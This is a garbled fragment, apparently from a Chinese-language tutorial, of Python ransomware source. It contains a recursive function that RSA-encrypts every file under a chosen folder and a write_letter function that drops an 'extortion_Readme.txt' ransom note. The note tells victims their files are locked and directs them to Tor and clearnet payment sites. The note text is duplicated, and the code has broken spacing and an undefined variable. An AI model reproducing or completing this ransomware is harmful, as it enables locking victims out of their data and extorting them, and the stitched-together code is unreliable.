# 主要作用就是列出文件夹下所有文件,实现全文件加密 defencrypt(file_path): if os.path.isdir(file_path): file_names = os.listdir(file_path) for file_name in file_names: file_name = os.path.join(file_path, file_name) if os.path.isdir(file_name): encrypt(file_name) else: rsa_encrypt(file_name) else: rsa_encrypt(file_path)
3、定义主函数main,实现对指定文件夹加密
if __name__ == "__main__": target_list = [] for i in target_list_str.split("."): target_list.append(i.strip()) encrypt("C:\\Users\\analysis\\Desktop\\test") #此处自定义想要加密的目录名称
# 要写入的内容 content = "---=== Welcome. Again ===---\n\n"\ "[+] What Happen? [+]\n"\ "Your files are encrypted and currently unavailable. You can check it all files on the system do not open properly.\n"\ "By the way, everything is possible to recover(restore), but you need to follow our instructions. Otherwise, you can't return your data (Never).\n\n"\ "[+] What guarantees? [+]"\ "Its just a business. We absolutely do not care you and your deals, except getting benefits. If we do not do our work and liabilities - \n"\ "nobody will not cooperate with us, Its not in our interests.\n"\ "To check the ability of returning files, you should go to our website. there you can decrypt one file and free. That isi our guarantee.\n"\ "If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the \n"\ "private key. In practice - time is much more valuable than money.\n\n"\ "[+] How to get access on website? [+]\n"\ "You have two ways:\n"\ "1) [Recommended] Using a Tor brower!\n"\ " a) Download and install Tor brower from this site: https://torproject.org\n"\ " b) open our website: http://aplwbzo468w90726424023846238690283.coion/CE2937HFJJK\n"\ "2) If Tor blocked in your country, try to use VPN! But you can use our secondary website. for this:\n"\ " a) Open your any brower (Chrome, Opera, IE, Edge)\n"\ " b) Open our secondary website: http://decryptor.cc/CE2937HFJJK\n\n"\ "Warnning secondary website can be blocked, thats why first variant much better and more available.\n"\ "When you open our website, put the follow data in the input form:\n"\ "Key:\n\r"
# 创建并写入文件 withopen(file_name, 'w') as file: file.write(content)
defwrite_letter(): file_name = "extortion_Readme.txt" # 要写入的内容 content = "---=== Welcome. Again ===---\n\n"\ "[+] What Happen? [+]\n"\ "Your files are encrypted and currently unavailable. You can check it all files on the system do not open properly.\n"\ "By the way, everything is possible to recover(restore), but you need to follow our instructions. Otherwise, you can't return your data (Never).\n\n"\ "[+] What guarantees? [+]"\ "Its just a business. We absolutely do not care you and your deals, except getting benefits. If we do not do our work and liabilities - \n"\ "nobody will not cooperate with us, Its not in our interests.\n"\ "To check the ability of returning files, you should go to our website. there you can decrypt one file and free. That isi our guarantee.\n"\ "If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the \n"\ "private key. In practice - time is much more valuable than money.\n\n"\ "[+] How to get access on website? [+]\n"\ "You have two ways:\n"\ "1) [Recommended] Using a Tor brower!\n"\ " a) Download and install Tor brower from this site: https://torproject.org\n"\ " b) open our website: http://aplwbzo468w90726424023846238690283.coion/CE2937HFJJK\n"\ "2) If Tor blocked in your country, try to use VPN! But you can use our secondary website. for this:\n"\ " a) Open your any brower (Chrome, Opera, IE, Edge)\n"\ " b) Open our secondary website: http://decryptor.cc/CE2937HFJJK\n\n"\ "Warnning secondary website can be blocked, thats why first variant much better and more available.\n"\ "When you open our website, put the follow data in the input form:\n"\ "Key:\n\r" # 创建并写入文件 withopen(file_name, 'w') as file: file.write(content)